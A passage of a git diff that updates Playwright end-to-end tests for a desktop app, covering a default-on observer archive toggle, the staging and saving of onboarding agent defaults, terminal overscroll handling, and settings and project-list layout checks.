+    // Hero badge tooltip works on the Runtime tab too
+    await heroBadge.hover();
+    const heroTooltip = page.locator("[role=tooltip]");
+    await expect(heroTooltip).toBeVisible({ timeout: 5_000 });
+    await expect(heroTooltip.getByText("Model:")).toBeVisible();
+    // Tooltip is capped at 6 + "and 2 more"
+    await expect(heroTooltip.getByText("and 2 more")).toBeVisible();
+
+    // Full uncapped banner also visible on Runtime tab
+    const banner = panel.getByTestId("needs-restart-banner");
+    await expect(banner).toBeVisible({ timeout: 5_000 });
+    const diffList = banner.getByTestId("restart-diff-list");
+    await expect(diffList).toBeVisible();
+    // All 8 entries visible in banner (no cap) — last entry "args" is present.
+    // exact: true prevents substring collision with "Agent args:" label.
+    await expect(diffList.getByText("Args:", { exact: true })).toBeVisible();
+
+    await waitForAnimations(page);
+    await panel.screenshot({
+      path: `${SHOTS}/11-inactive-error-panel-runtime-tab.png`,
     });
   });
 });
diff --git a/desktop/tests/e2e/observer-archive-policy.spec.ts b/desktop/tests/e2e/observer-archive-policy.spec.ts
index 44a518e3cf..29b6a6b6e1 100644
--- a/desktop/tests/e2e/observer-archive-policy.spec.ts
+++ b/desktop/tests/e2e/observer-archive-policy.spec.ts
@@ -14,11 +14,13 @@ async function openLocalArchiveSettings(page: import("@playwright/test").Page) {
 }
 
 test.describe("observer archive policy — Settings toggle", () => {
-  test("internal policy: toggle disabled with policy-locked copy", async ({
+  test("fresh identity: observer toggle is enabled and checked by default", async ({
     page,
   }) => {
+    // Archive is default-on for all builds. A fresh identity (no stored opt-out)
+    // should show the toggle enabled and checked after reconciliation seeds the
+    // kind-24200 subscription.
     await installMockBridge(page, {
-      observerArchiveDefaultEnabled: true,
       saveSubscriptions: [
         {
           scope_type: "owner_p",
@@ -31,15 +33,12 @@ test.describe("observer archive policy — Settings toggle", () => {
     const card = await openLocalArchiveSettings(page);
     const toggle = card.getByTestId("local-archive-observer-toggle");
     await expect(toggle).toBeVisible({ timeout: 5_000 });
-    await expect(toggle).toBeDisabled();
-    await expect(
-      card.getByText(/always on for internal builds/i),
-    ).toBeVisible();
+    await expect(toggle).toBeEnabled();
+    await expect(toggle).toBeChecked();
   });
 
-  test("OSS policy: toggle is functional", async ({ page }) => {
+  test("toggle click OFF disables, then ON re-enables", async ({ page }) => {
     await installMockBridge(page, {
-      observerArchiveDefaultEnabled: false,
       saveSubscriptions: [
         {
           scope_type: "owner_p",
@@ -52,118 +51,80 @@ test.describe("observer archive policy — Settings toggle", () => {
     const card = await openLocalArchiveSettings(page);
     const toggle = card.getByTestId("local-archive-observer-toggle");
     await expect(toggle).toBeVisible({ timeout: 5_000 });
-    await expect(toggle).toBeEnabled();
     await expect(toggle).toBeChecked();
-  });
-
-  test("OSS policy, no subscriptions: toggle enabled and unchecked", async ({
-    page,
-  }) => {
-    // Resolved-OSS empty-subscription state: no owner_p/24200 row exists,
-    // so the toggle reads unchecked, and OSS policy (false) keeps it
-    // enabled — confirming fail-closed doesn't permanently lock OSS users
-    // out once the policy flag resolves.
-    await installMockBridge(page, {
-      observerArchiveDefaultEnabled: false,
-      saveSubscriptions: [],
-    });
 
-    const card = await openLocalArchiveSettings(page);
-    const toggle = card.getByTestId("local-archive-observer-toggle");
-    await expect(toggle).toBeVisible({ timeout: 5_000 });
-    await expect(toggle).toBeEnabled();
+    // OFF: removes kind 24200.
+    await toggle.click();
     await expect(toggle).not.toBeChecked();
-  });
 
-  test("policy pending: toggle disabled, then enabled once resolved", async ({
-    page,
-  }) => {
-    await installMockBridge(page, {
-      observerArchiveDefaultEnabled: false,
-      observerArchiveDefaultEnabledDelayMs: 500,
-      saveSubscriptions: [],
-    });
-
-    const card = await openLocalArchiveSettings(page);
-    const toggle = card.getByTestId("local-archive-observer-toggle");
-    await expect(toggle).toBeVisible({ timeout: 5_000 });
-    // Fail-closed: disabled while the policy check is still in flight.
-    await expect(toggle).toBeDisabled();
-    await expect(toggle).toBeEnabled({ timeout: 5_000 });
-    await expect(toggle).not.toBeChecked();
+    // ON again: re-creates the row from empty.
+    await toggle.click();
+    await expect(toggle).toBeChecked();
   });
 
-  test("policy check fails: toggle stays disabled and issues no mutation", async ({
+  test("explicit opt-out persists across reload: toggle stays OFF", async ({
     page,
   }) => {
+    // Simulate a user who previously clicked OFF: the identity-scoped opt-out
+    // is recorded in localStorage ("0") and the owner_p/24200 subscription row
+    // is absent.  Reconciliation must honour the stored choice and leave the
+    // toggle unchecked (user can re-enable via the toggle).
+    const MOCK_PUBKEY = "deadbeef".repeat(8);
+    await page.addInitScript(
+      ({ storageKey }) => {
+        window.localStorage.setItem(storageKey, "0");
+      },
+      {
+        storageKey: `buzz:observer-archive-default-seeded:${MOCK_PUBKEY}`,
+      },
+    );
+
     await installMockBridge(page, {
-      observerArchiveDefaultEnabled: false,
-      observerArchiveDefaultEnabledError: "policy check failed",
       saveSubscriptions: [],
     });
 
     const card = await openLocalArchiveSettings(page);
     const toggle = card.getByTestId("local-archive-observer-toggle");
     await expect(toggle).toBeVisible({ timeout: 5_000 });
-    // Rejection leaves `observerPolicy` at its initial `undefined` — the
-    // fail-closed `.catch()` in LocalArchiveSettingsCard must not flip it
-    // to a permissive state. Give the rejection time to settle, then
-    // assert the disabled state holds (not just "hasn't flipped yet").
-    await page.waitForTimeout(200);
-    await expect(toggle).toBeDisabled();
-
-    const commands = await page.evaluate(
-      () =>
-        (window as Window & { __BUZZ_E2E_COMMANDS__?: string[] })
-          .__BUZZ_E2E_COMMANDS__ ?? [],
-    );
-    expect(
-      commands.filter(
-        (c) =>
-          c === "merge_save_subscription_kinds" ||
-          c === "remove_save_subscription_kind",
-      ),
-    ).toEqual([]);
+    await expect(toggle).toBeEnabled();
+    await expect(toggle).not.toBeChecked();
   });
 
-  test("OSS policy: toggle click ON merges kind 24200, click OFF removes the row", async ({
+  test("no subscriptions, no stored choice: defaults ON then OFF removes, ON re-creates", async ({
     page,
   }) => {
+    // A fresh identity with no stored choice and an empty subscription table
+    // must be seeded to ON by reconciliation.  Thereafter the toggle must
+    // function: OFF removes kind 24200, ON re-creates it.
     await installMockBridge(page, {
-      observerArchiveDefaultEnabled: false,
       saveSubscriptions: [],
     });
 
     const card = await openLocalArchiveSettings(page);
     const toggle = card.getByTestId("local-archive-observer-toggle");
     await expect(toggle).toBeVisible({ timeout: 5_000 });
-    await expect(toggle).not.toBeChecked();
 
-    // ON: merges kind 24200 into a fresh owner_p row (the row-creation edge
-    // of merge_save_subscription_kinds).
-    await toggle.click();
+    // Default-on: reconciliation seeds the row, toggle must be checked.
     await expect(toggle).toBeChecked();
 
-    // OFF: removes kind 24200. Since it's the row's only kind, the row is
-    // deleted entirely (remove_save_subscription_kind's row-delete-on-empty
-    // edge) — re-checking observerEnabled must correctly read "no row" as
-    // unchecked, not stale/checked.
+    // OFF: removes kind 24200.
     await toggle.click();
     await expect(toggle).not.toBeChecked();
 
-    // ON again: re-creates the row from empty, proving the delete above was
-    // a real row removal and not a lingering empty-kinds row.
+    // ON again: re-creates the row from empty.
     await toggle.click();
     await expect(toggle).toBeChecked();
   });
 });
 
 test.describe("observer archive policy — reconciliation gate", () => {
-  test("internal policy: archive sync reaches subscription path after reconciliation", async ({
+  test("archive sync reaches subscription path after reconciliation", async ({
     page,
   }) => {
+    // The reconciliation gate (useObserverArchiveReconciliation) must resolve
+    // successfully for a fresh identity, allowing useArchiveSync to start the
+    // ArchiveSyncManager, which calls list_save_subscriptions.
     await installMockBridge(page, {
-      observerArchiveDefaultEnabled: true,
       saveSubscriptions: [
         {
           scope_type: "owner_p",
@@ -175,15 +136,12 @@ test.describe("observer archive policy — reconciliation gate", () => {
 
     await page.goto("/", { waitUntil: "domcontentloaded" });
 
-    // Wait for the channel list to appear (proves AppShell mounted fully).
+    // Wait for the channel list (proves AppShell mounted fully).
     await expect(page.getByTestId("channel-general")).toBeVisible({
       timeout: 10_000,
     });
 
-    // The reconciliation gate (useObserverArchiveReconciliation) must have
-    // resolved successfully, allowing useArchiveSync to start the
-    // ArchiveSyncManager, which calls list_save_subscriptions. The IPC
-    // counter proves the subscription path was reached.
+    // The IPC counter proves the subscription path was reached.
     await page.waitForFunction(
       () => {
         const counters = (window as Record<string, unknown>)
@@ -201,8 +159,8 @@ test.describe("observer archive policy — reconciliation gate", () => {
     });
     expect(count).toBeGreaterThan(0);
 
-    // Bonus (Thufir pass 2, F4): the reconciliation gate must also result
-    // in a real `#p` + kind-24200 live REQ filter, not just an IPC call.
+    // The reconciliation gate must also result in a real `#p` + kind-24200
+    // live REQ filter.
     const hasOwnerKindSubscription = await page.evaluate(
       (ownerPubkey) =>
         (
@@ -221,152 +179,12 @@ test.describe("observer archive policy — reconciliation gate", () => {
     expect(hasOwnerKindSubscription).toBe(true);
   });
 
-  test("policy pending: no subscription list call or live filter until resolved", async ({
-    page,
-  }) => {
-    await installMockBridge(page, {
-      observerArchiveDefaultEnabled: true,
-      observerArchiveDefaultEnabledDelayMs: 500,
-      saveSubscriptions: [
-        {
-          scope_type: "owner_p",
-          scope_value: "deadbeef".repeat(8),
-          kinds: "[24200]",
-        },
-      ],
-    });
-
-    await page.goto("/", { waitUntil: "domcontentloaded" });
-    await expect(page.getByTestId("channel-general")).toBeVisible({
-      timeout: 10_000,
-    });
-
-    // While the policy check is pending, useArchiveSync must not have
-    // started — no list_save_subscriptions call, no owner/24200 live
-    // filter. This is the discriminating half pass 2 found missing: the
-    // prior test only proved "eventually starts", not "doesn't start
-    // early."
-    const countWhilePending = await page.evaluate(
-      () =>
-        (
-          (window as Record<string, unknown>).__BUZZ_E2E_IPC_COUNTERS__ as
-            | Record<string, number>
-            | undefined
-        )?.list_save_subscriptions ?? 0,
-    );
-    expect(countWhilePending).toBe(0);
-    const hasSubscriptionWhilePending = await page.evaluate(
-      (ownerPubkey) =>
-        (
-          window as Window & {
-            __BUZZ_E2E_HAS_MOCK_OWNER_KIND_SUBSCRIPTION__?: (input: {
-              ownerPubkey: string;
-              kind: number;
-            }) => boolean;
-          }
-        ).__BUZZ_E2E_HAS_MOCK_OWNER_KIND_SUBSCRIPTION__?.({
-          ownerPubkey,
-          kind: 24200,
-        }) ?? false,
-      "deadbeef".repeat(8),
-    );
-    expect(hasSubscriptionWhilePending).toBe(false);
-
-    // After the policy resolves, both the IPC call and the live filter
-    // appear.
-    await page.waitForFunction(
-      () =>
-        ((
-          (window as Record<string, unknown>).__BUZZ_E2E_IPC_COUNTERS__ as
-            | Record<string, number>
-            | undefined
-        )?.list_save_subscriptions ?? 0) > 0,
-      null,
-      { timeout: 10_000 },
-    );
-    await expect
-      .poll(
-        () =>
-          page.evaluate(
-            (ownerPubkey) =>
-              (
-                window as Window & {
-                  __BUZZ_E2E_HAS_MOCK_OWNER_KIND_SUBSCRIPTION__?: (input: {
-                    ownerPubkey: string;
-                    kind: number;
-                  }) => boolean;
-                }
-              ).__BUZZ_E2E_HAS_MOCK_OWNER_KIND_SUBSCRIPTION__?.({
-                ownerPubkey,
-                kind: 24200,
-              }) ?? false,
-            "deadbeef".repeat(8),
-          ),
-        { timeout: 5_000 },
-      )
-      .toBe(true);
-  });
-
-  test("policy check fails: subscription path never opens", async ({
-    page,
-  }) => {
-    await installMockBridge(page, {
-      observerArchiveDefaultEnabled: true,
-      observerArchiveDefaultEnabledError: "policy check failed",
-      saveSubscriptions: [
-        {
-          scope_type: "owner_p",
-          scope_value: "deadbeef".repeat(8),
-          kinds: "[24200]",
-        },
-      ],
-    });
-
-    await page.goto("/", { waitUntil: "domcontentloaded" });
-    await expect(page.getByTestId("channel-general")).toBeVisible({
-      timeout: 10_000,
-    });
-
-    // Give the rejected reconciliation time to settle, then assert the
-    // gate stayed shut: no list_save_subscriptions call, no live filter.
-    await page.waitForTimeout(500);
-    const count = await page.evaluate(
-      () =>
-        (
-          (window as Record<string, unknown>).__BUZZ_E2E_IPC_COUNTERS__ as
-            | Record<string, number>
-            | undefined
-        )?.list_save_subscriptions ?? 0,
-    );
-    expect(count).toBe(0);
-    const hasSubscription = await page.evaluate(
-      (ownerPubkey) =>
-        (
-          window as Window & {
-            __BUZZ_E2E_HAS_MOCK_OWNER_KIND_SUBSCRIPTION__?: (input: {
-              ownerPubkey: string;
-              kind: number;
-            }) => boolean;
-          }
-        ).__BUZZ_E2E_HAS_MOCK_OWNER_KIND_SUBSCRIPTION__?.({
-          ownerPubkey,
-          kind: 24200,
-        }) ?? false,
-      "deadbeef".repeat(8),
-    );
-    expect(hasSubscription).toBe(false);
-  });
-
-  test("fresh internal install: reconciliation repairs an empty subscription list", async ({
+  test("fresh install with empty subscriptions: reconciliation seeds kind 24200", async ({
     page,
   }) => {
-    // The actual production repair path Will's bug report was about: a
-    // fresh internal install with no owner_p/24200 row yet must end up
-    // with one after startup reconciliation runs — not just "no-op
-    // because the row was already there" (the prior fixture always
-    // pre-seeded the row).
+    // A fresh install with no owner_p/24200 row must end up with one after
+    // startup reconciliation runs — the actual production repair path.
     await installMockBridge(page, {
-      observerArchiveDefaultEnabled: true,
       saveSubscriptions: [],
     });
 
diff --git a/desktop/tests/e2e/onboarding-agent-defaults.spec.ts b/desktop/tests/e2e/onboarding-agent-defaults.spec.ts
index dbd726d179..b3462a4903 100644
--- a/desktop/tests/e2e/onboarding-agent-defaults.spec.ts
+++ b/desktop/tests/e2e/onboarding-agent-defaults.spec.ts
@@ -57,6 +57,24 @@ async function readSavedRuntime(page: Parameters<typeof installMockBridge>[0]) {
   });
 }
 
+async function readGlobalConfigSetterCallCount(
+  page: Parameters<typeof installMockBridge>[0],
+) {
+  return await page.evaluate(async () => {
+    return await (
+      window as Window & {
+        __BUZZ_E2E_INVOKE_MOCK_COMMAND__?: (
+          command: string,
+          payload: unknown,
+        ) => Promise<number>;
+      }
+    ).__BUZZ_E2E_INVOKE_MOCK_COMMAND__?.(
+      "get_global_agent_config_set_call_count",
+      null,
+    );
+  });
+}
+
 test("setup shows all bundled harnesses as detected", async ({ page }) => {
   await installMockBridge(
     page,
@@ -528,21 +546,127 @@ test("defaults keeps model control when optional harness discovery fails", async
   await expect(page.getByTestId("onboarding-finish")).toBeEnabled();
 });
 
-test("defaults Back returns to harness setup", async ({ page }) => {
+test("defaults can be skipped while loading without persisting configuration", async ({
+  page,
+}) => {
   await installMockBridge(
     page,
     {
       acpRuntimesCatalog: [
         runtime("claude", "available", { status: "logged_in" }),
       ],
+      bakedBuildEnvDelayMs: 500,
+      globalAgentConfig: {
+        env_vars: {},
+        provider: null,
+        model: null,
+        preferred_runtime: null,
+      },
     },
     { skipCommunitySeed: true, skipOnboardingSeed: true },
   );
   await page.goto("/");
   await navigateToSetupPage(page);
   await page.getByTestId("onboarding-setup-next").click();
+
+  await expect(page.getByText("Loading…")).toBeVisible();
+  await page.getByTestId("onboarding-config-skip").click();
+
+  await expect(page.getByText("Join or create a community")).toBeVisible();
+  expect(await readSavedRuntime(page)).toBeNull();
+});
+
+test("defaults stages auto-selection and edits without writing when skipped", async ({
+  page,
+}) => {
+  await installMockBridge(
+    page,
+    {
+      acpRuntimesCatalog: [
+        runtime("claude", "available", { status: "logged_in" }),
+      ],
+      globalAgentConfig: {
+        env_vars: {},
+        provider: null,
+        model: null,
+        preferred_runtime: null,
+      },
+    },
+    { skipCommunitySeed: true, skipOnboardingSeed: true },
+  );
+  await page.goto("/");
+  await navigateToSetupPage(page);
+  await page.getByTestId("onboarding-setup-next").click();
+
+  await expect(page.getByTestId("global-agent-default-harness")).toHaveText(
+    "Claude Code",
+  );
+  await page.getByTestId("global-agent-model").click();
+  await page
+    .getByTestId("global-agent-model-option-claude-opus-4-20250514")
+    .click();
+  expect(await readGlobalConfigSetterCallCount(page)).toBe(0);
+  await expect(
+    page.getByText(
+      "Configure default models in Settings → Agents after setup.",
+    ),
+  ).toBeVisible();
+
+  await page.getByTestId("onboarding-config-skip").click();
+
+  await expect(page.getByText("Join or create a community")).toBeVisible();
+  expect(await readSavedRuntime(page)).toBeNull();
+  expect(await readGlobalConfigSetterCallCount(page)).toBe(0);
+});
+
+test("Back preserves incomplete defaults draft without writing", async ({
+  page,
+}) => {
+  await installMockBridge(
+    page,
+    {
+      acpRuntimesCatalog: [
+        runtime("buzz-agent", "available", { status: "not_applicable" }),
+        runtime("claude", "available", { status: "logged_in" }),
+      ],
+      discoverAgentModels: {
+        models: [{ id: "claude-sonnet-4", name: "Claude Sonnet 4" }],
+        supportsSwitching: true,
+      },
+      globalAgentConfig: {
+        env_vars: {},
+        provider: null,
+        model: null,
+        preferred_runtime: null,
+      },
+    },
+    { skipCommunitySeed: true, skipOnboardingSeed: true },
+  );
+  await page.goto("/");
+  await navigateToSetupPage(page);
+  await page.getByTestId("onboarding-setup-next").click();
+
+  const harness = page.getByTestId("global-agent-default-harness");
+  await harness.click();
+  await page
+    .getByTestId("global-agent-default-harness-option-buzz-agent")
+    .click();
+  await page.getByTestId("global-agent-provider").click();
+  await page.getByTestId("global-agent-provider-option-anthropic").click();
+  await expect(page.getByTestId("onboarding-finish")).toBeDisabled();
+
   await page.getByTestId("onboarding-back").click();
   await expect(page.getByTestId("onboarding-page-2")).toBeVisible();
+  expect(await readSavedRuntime(page)).toBeNull();
+  expect(await readGlobalConfigSetterCallCount(page)).toBe(0);
+
+  await page.getByTestId("onboarding-setup-next").click();
+  await expect(harness).toHaveText("Buzz");
+  await expect(page.getByTestId("global-agent-provider")).toHaveText(
+    "Anthropic",
+  );
+  await expect(page.getByTestId("onboarding-finish")).toBeDisabled();
+  expect(await readGlobalConfigSetterCallCount(page)).toBe(0);
 });
 
 test("defaults auto-selects the only ready visible harness", async ({
@@ -575,12 +699,10 @@ test("defaults auto-selects the only ready visible harness", async ({
     "Claude Code",
   );
   await expect(page.getByTestId("onboarding-finish")).toBeEnabled();
-  await expect.poll(() => readSavedRuntime(page)).toBe("claude");
+  expect(await readSavedRuntime(page)).toBeNull();
 });
 
-test("Finish waits for the latest rapid harness choice to persist", async ({
-  page,
-}) => {
+test("Next persists the latest staged harness choice", async ({ page }) => {
   await installMockBridge(
     page,
     {
@@ -608,13 +730,94 @@ test("Finish waits for the latest rapid harness choice to persist", async ({
   await harness.click();
   await page.getByTestId("global-agent-default-harness-option-codex").click();
   const finish = page.getByTestId("onboarding-finish");
-  await expect(finish).toBeDisabled();
-  await expect(finish).toBeEnabled({ timeout: 2_000 });
+  await expect(finish).toBeEnabled();
+  expect(await readGlobalConfigSetterCallCount(page)).toBe(0);
   await finish.click();
+  await expect(page.getByText("Join or create a community")).toBeVisible();
+  await expect.poll(() => readSavedRuntime(page)).toBe("codex");
+});
+
+test("Next shows saving state and advances only after persistence", async ({
+  page,
+}) => {
+  await installMockBridge(
+    page,
+    {
+      acpRuntimesCatalog: [
+        runtime("claude", "available", { status: "logged_in" }),
+        runtime("codex", "available", { status: "logged_in" }),
+      ],
+      globalAgentConfig: {
+        env_vars: {},
+        provider: null,
+        model: null,
+        preferred_runtime: null,
+      },
+      setGlobalAgentConfigDelayMs: 500,
+    },
+    { skipCommunitySeed: true, skipOnboardingSeed: true },
+  );
+  await page.goto("/");
+  await navigateToSetupPage(page);
+  await page.getByTestId("onboarding-setup-next").click();
+
+  const harness = page.getByTestId("global-agent-default-harness");
+  await harness.click();
+  await page.getByTestId("global-agent-default-harness-option-codex").click();
+  await page.getByTestId("onboarding-finish").click();
+
+  await expect(page.getByTestId("onboarding-finish")).toHaveText("Saving…");
+  await expect(page.getByTestId("onboarding-config-skip")).toBeDisabled();
+  await expect(page.getByTestId("onboarding-back")).toBeDisabled();
+  await expect(page.getByTestId("onboarding-page-config")).toBeVisible();
+  expect(await readSavedRuntime(page)).toBeNull();
+
   await expect(page.getByText("Join or create a community")).toBeVisible();
   expect(await readSavedRuntime(page)).toBe("codex");
 });
 
+test("Next keeps the draft and retries after a save failure", async ({
+  page,
+}) => {
+  await installMockBridge(
+    page,
+    {
+      acpRuntimesCatalog: [
+        runtime("claude", "available", { status: "logged_in" }),
+      ],
+      globalAgentConfig: {
+        env_vars: {},
+        provider: null,
+        model: null,
+        preferred_runtime: null,
+      },
+      setGlobalAgentConfigErrors: ["Disk is read-only", null],
+    },
+    { skipCommunitySeed: true, skipOnboardingSeed: true },
+  );
+  await page.goto("/");
+  await navigateToSetupPage(page);
+  await page.getByTestId("onboarding-setup-next").click();
+  await expect(page.getByTestId("global-agent-default-harness")).toHaveText(
+    "Claude Code",
+  );
+
+  await page.getByTestId("onboarding-finish").click();
+
+  await expect(page.getByTestId("onboarding-page-config")).toBeVisible();
+  await expect(page.getByTestId("onboarding-config-save-error")).toContainText(
+    "Disk is read-only",
+  );
+  await expect(page.getByTestId("onboarding-finish")).toBeEnabled();
+  expect(await readSavedRuntime(page)).toBeNull();
+  expect(await readGlobalConfigSetterCallCount(page)).toBe(1);
+
+  await page.getByTestId("onboarding-finish").click();
+  await expect(page.getByText("Join or create a community")).toBeVisible();
+  expect(await readSavedRuntime(page)).toBe("claude");
+  expect(await readGlobalConfigSetterCallCount(page)).toBe(2);
+});
+
 test("defaults requires a choice when multiple visible harnesses are ready", async ({
   page,
 }) => {
@@ -660,7 +863,7 @@ test("defaults requires a choice when multiple visible harnesses are ready", asy
   await page.getByTestId("global-agent-default-harness-option-codex").click();
   await expect(harness).toHaveText("Codex");
   await expect(page.getByTestId("onboarding-finish")).toBeEnabled();
-  await expect.poll(() => readSavedRuntime(page)).toBe("codex");
+  expect(await readSavedRuntime(page)).toBeNull();
 });
 
 /**
diff --git a/desktop/tests/e2e/onboarding.spec.ts b/desktop/tests/e2e/onboarding.spec.ts
index 0c98cb411e..57e812091c 100644
--- a/desktop/tests/e2e/onboarding.spec.ts
+++ b/desktop/tests/e2e/onboarding.spec.ts
@@ -216,16 +216,26 @@ async function expectWelcomeComposerBannerLayout(page: Page) {
   const radii = await banner.evaluate((element) => {
     const styles = window.getComputedStyle(element);
     return {
+      backdropFilter: styles.backdropFilter,
       bottomLeft: styles.borderBottomLeftRadius,
       bottomRight: styles.borderBottomRightRadius,
+      filter: styles.filter,
+      zIndex: styles.zIndex,
       topLeft: styles.borderTopLeftRadius,
       topRight: styles.borderTopRightRadius,
+      transform: styles.transform,
+      willChange: styles.willChange,
     };
   });
 
   expect(radii.topLeft).toBe(radii.topRight);
   expect(radii.bottomLeft).toBe("0px");
   expect(radii.bottomRight).toBe("0px");
+  expect(radii.backdropFilter).toBe("none");
+  expect(radii.filter).toBe("none");
+  expect(radii.transform).toBe("none");
+  expect(radii.willChange).toBe("auto");
+  expect(radii.zIndex).toBe("1");
   expect(personaMentionBox.width).toBeGreaterThan(0);
 }
 
@@ -250,6 +260,12 @@ async function expectWelcomePersonaMention(page: Page) {
       .getByTestId("welcome-composer-persona-character")
       .count(),
   ).toBeGreaterThanOrEqual(4);
+  expect(
+    await personaMention
+      .getByTestId("welcome-composer-persona-character")
+      .first()
+      .evaluate((element) => window.getComputedStyle(element).filter),
+  ).toBe("none");
 
   const transition = await personaMention.evaluate((element) => {
     const styles = window.getComputedStyle(element);
diff --git a/desktop/tests/e2e/overscroll-boundary.spec.ts b/desktop/tests/e2e/overscroll-boundary.spec.ts
index 5aab62d89a..e7e561c125 100644
--- a/desktop/tests/e2e/overscroll-boundary.spec.ts
+++ b/desktop/tests/e2e/overscroll-boundary.spec.ts
@@ -64,6 +64,21 @@ test("locks viewport rubber-band outside conversation scrollers", async ({
       deltaY: -120,
     }),
   ).resolves.toBe(false);
+
+  // Buzz Term consumes wheel gestures as custom scrollback rather than through
+  // a native scroll container. The viewport lock must leave that vertical
+  // gesture alone so the substrate's own handler can receive it.
+  await page.evaluate(() => {
+    const terminal = document.createElement("section");
+    terminal.dataset.terminalOwner = "terminal";
+    terminal.dataset.testid = "terminal-wheel-target";
+    document.body.append(terminal);
+  });
+  await expect(
+    dispatchWheelPrevented(page, '[data-testid="terminal-wheel-target"]', {
+      deltaY: -120,
+    }),
+  ).resolves.toBe(false);
 });
 
 test("locks horizontal viewport pan everywhere", async ({ page }) => {
@@ -95,6 +110,45 @@ test("locks horizontal viewport pan everywhere", async ({ page }) => {
     ).resolves.toBe(true);
   }
 
+  await page.evaluate(() => {
+    const terminal = document.createElement("section");
+    terminal.dataset.terminalOwner = "terminal";
+    terminal.dataset.testid = "terminal-wheel-target";
+    document.body.append(terminal);
+  });
+  for (const [deltaX, deltaY, prevented] of [
+    [120, 0, true],
+    [0, 120, false],
+    [120, 120, false],
+    [120, 20, true],
+  ] as const) {
+    await expect(
+      dispatchWheelPrevented(page, '[data-testid="terminal-wheel-target"]', {
+        deltaX,
+        deltaY,
+      }),
+    ).resolves.toBe(prevented);
+  }
+
+  // A concealed substrate is not an active custom wheel consumer. Keep dead
+  // space locked even if a future layout places Buzz content inside it.
+  await page.evaluate(() => {
+    const terminal = document.querySelector<HTMLElement>(
+      '[data-testid="terminal-wheel-target"]',
+    );
+    const buzzContent = document.createElement("div");
+    buzzContent.dataset.testid = "concealed-terminal-dead-space";
+    terminal?.append(buzzContent);
+    if (terminal) terminal.dataset.terminalOwner = "buzz";
+  });
+  await expect(
+    dispatchWheelPrevented(
+      page,
+      '[data-testid="concealed-terminal-dead-space"]',
+      { deltaY: 120 },
+    ),
+  ).resolves.toBe(true);
+
   // A predominantly vertical gesture with slight horizontal drift still
   // reaches the conversation scroller.
   await expect(
diff --git a/desktop/tests/e2e/persona-env-vars.spec.ts b/desktop/tests/e2e/persona-env-vars.spec.ts
index 1e9b077a82..60a8e888b2 100644
--- a/desktop/tests/e2e/persona-env-vars.spec.ts
+++ b/desktop/tests/e2e/persona-env-vars.spec.ts
@@ -329,7 +329,7 @@ test("persona model options follow the selected LLM provider", async ({
 
   await selectDropdownOption(page, llmProvider, "OpenAI");
   const dialog = page.getByRole("dialog");
-  await expect(dialog.getByLabel("OpenAI API Key")).toBeVisible();
+  await expect(dialog.getByLabel("OpenAI Runtime API Key")).toBeVisible();
   await expect(
     dialog.getByRole("button", { name: "Advanced", exact: true }),
   ).toHaveAttribute("aria-expanded", "false");
@@ -343,7 +343,7 @@ test("persona model options follow the selected LLM provider", async ({
 
   await selectDropdownOption(page, llmProvider, "Anthropic");
   await expect(dialog.getByLabel("Anthropic API Key")).toBeVisible();
-  await expect(dialog.getByLabel("OpenAI API Key")).not.toBeVisible();
+  await expect(dialog.getByLabel("OpenAI Runtime API Key")).not.toBeVisible();
   await expect(model).toBeVisible();
 
   // Switch back to inherited defaults — per-agent provider, credential, and
diff --git a/desktop/tests/e2e/profile.spec.ts b/desktop/tests/e2e/profile.spec.ts
index 3b71ff9dd8..eefdef1fdd 100644
--- a/desktop/tests/e2e/profile.spec.ts
+++ b/desktop/tests/e2e/profile.spec.ts
@@ -1139,6 +1139,13 @@ test("renders settings in the app shell with a back button", async ({
   await expect(page.getByTestId("settings-back-to-app")).toBeVisible();
   await expect(page.getByPlaceholder("Search everything")).toHaveCount(0);
   await expect(page.getByText("Personal", { exact: true })).toBeVisible();
+  const personalGroup = page
+    .getByTestId("settings-nav-channel-templates")
+    .locator("xpath=ancestor::*[@data-sidebar='group']");
+  await expect(personalGroup).toContainText("Personal");
+  await expect(
+    page.getByTestId("settings-nav-channel-templates"),
+  ).toContainText("Channel templates");
   await expect(page.getByTestId("settings-nav-profile")).toHaveAttribute(
     "aria-pressed",
     "true",
diff --git a/desktop/tests/e2e/project-commit-detail.spec.ts b/desktop/tests/e2e/project-commit-detail.spec.ts
index 32cd807552..9b51647335 100644
--- a/desktop/tests/e2e/project-commit-detail.spec.ts
+++ b/desktop/tests/e2e/project-commit-detail.spec.ts
@@ -1,7 +1,7 @@
 import { expect, test } from "@playwright/test";
 
 import { waitForAnimations } from "../helpers/animations";
-import { installMockBridge } from "../helpers/bridge";
+import { installMockBridge, TEST_IDENTITIES } from "../helpers/bridge";
 
 const SHOTS = "test-results/project-commit-detail";
 const ALIGNMENT_TOLERANCE_PX = 2;
@@ -31,30 +31,101 @@ test("top-level project lists align dates and overflow actions", async ({
     page.getByRole("heading", { level: 1, name: "Projects" }),
   ).toBeVisible();
 
-  async function trailingPositions(row: import("@playwright/test").Locator) {
+  async function trailingPositions(
+    row: import("@playwright/test").Locator,
+    {
+      actionName = /More options for/,
+      dateTestId = "projects-row-date",
+      summaryTestId,
+    }: {
+      actionName?: RegExp;
+      dateTestId?: string;
+      summaryTestId?: string;
+    } = {},
+  ) {
     await waitForAnimations(page);
-    const date = row.getByTestId("projects-row-date");
-    const menu = row.getByRole("button", { name: /More options for/ });
+    const date = row.getByTestId(dateTestId);
+    const menu = row.getByRole("button", { name: actionName });
     await expect(date).toBeVisible();
     await expect(menu).toBeVisible();
     const dateBox = await date.boundingBox();
     const menuBox = await menu.boundingBox();
+    const rowBox = await row.boundingBox();
+    const summaryBox = summaryTestId
+      ? await row.getByTestId(summaryTestId).boundingBox()
+      : null;
     expect(dateBox).not.toBeNull();
     expect(menuBox).not.toBeNull();
-    return { dateX: dateBox?.x ?? 0, menuX: menuBox?.x ?? 0 };
+    expect(rowBox).not.toBeNull();
+    if (summaryTestId) expect(summaryBox).not.toBeNull();
+    return {
+      dateX: dateBox?.x ?? 0,
+      menuX: menuBox?.x ?? 0,
+      rowHeight: rowBox?.height ?? 0,
+      summaryX: summaryBox?.x ?? null,
+    };
   }
 
-  await page.getByRole("button", { name: "Repositories", exact: true }).click();
-  await page.getByRole("button", { name: "Filter repositories" }).click();
+  await page.getByTestId("projects-section-projects").click();
+  await page.getByRole("button", { name: "Filter projects" }).click();
   await expect(
-    page.getByRole("menuitem", { name: "My Repositories" }),
+    page.getByRole("menuitem", { name: "My Projects" }),
   ).toBeVisible();
   await expect(page.getByRole("menuitem", { name: "Local" })).toBeVisible();
   await page.keyboard.press("Escape");
-  const repositoryPositions = await trailingPositions(
+  const projectPositions = await trailingPositions(
